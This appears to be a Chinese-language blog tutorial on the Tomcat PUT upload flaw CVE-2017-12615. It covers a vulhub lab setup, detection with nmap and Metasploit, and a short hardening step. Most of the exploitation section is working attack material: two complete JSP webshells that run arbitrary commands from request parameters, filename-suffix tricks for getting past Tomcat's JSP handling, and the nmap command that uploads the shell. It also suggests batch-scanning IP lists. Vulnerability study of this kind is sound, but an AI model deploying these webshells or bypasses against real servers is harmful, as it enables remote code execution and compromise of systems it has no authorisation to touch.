漏洞描述
在Tomcat中发现了一个漏洞,该漏洞中,如果将servlet上下文配置为readonly = false并允许HTTP PUT请求,则攻击者可以将JSP文件上载到该上下文并实现代码执行。
影响版本
tomcat 7.0.0至7.0.79
漏洞环境搭建
使用vulhub直接docker一键启动环境CVE-2017-12615环境
下载安装好vulhub后进入/tomcat/CVE-2017-12615
目录,执行以下命令
docker-compose up -d
然后查看当前虚拟机ip,并访问8080端口,即可出现tomcat页面
漏洞检测
注意:如果我们使用put协议创建一个目标已存在的文件,那么这个文件会被覆盖,大家在实战中千万不要put到index或已存在的中进行测试。
nmap
命令:
#nmap -p <端口> <ip> --script http-put --script-args http-put.url="<上载到服务器的本地文件的完整路径>",http-put.file='<将文件存储到的远程目录和文件名>'
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/test1.txt",http-put.file='E:\1.txt'
我在我E盘下新建了一个1.txt ,内容为:test put
提示successfully created
表示上传成功,我们手动访问
msf
msfconsole
search http_put
use auxiliary/scanner/http/http_put
set filedata 'test put111'
set filename test1.txt
set rhosts 192.168.234.138
set rport 8080
show options
设置好后run,可提示一个加号说明上传成功
批量检查put
- namp ip扫描规则或使用 -iL 参数进行批量检测
msf批量检测不太稳定,我批量检测时不行,单个ip却可以,不建议使用msf。
漏洞利用
linux一句话木马:
# cmd2.jsp
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
windows一句话木马:
#windowscmd.jsp
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet
来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。
这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。
目前主要三种方法:
- evil.jsp%20
- evil.jsp::$DATA
- evil.jsp/
我们在put上传时也需要修改文件名绕过
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/cmd.jsp/",http-put.file='E:\1.txt'
访问木马文件:
漏洞加固
修改tomcat目录下的conf/web.xml文件,找到readonly
将false
设置为true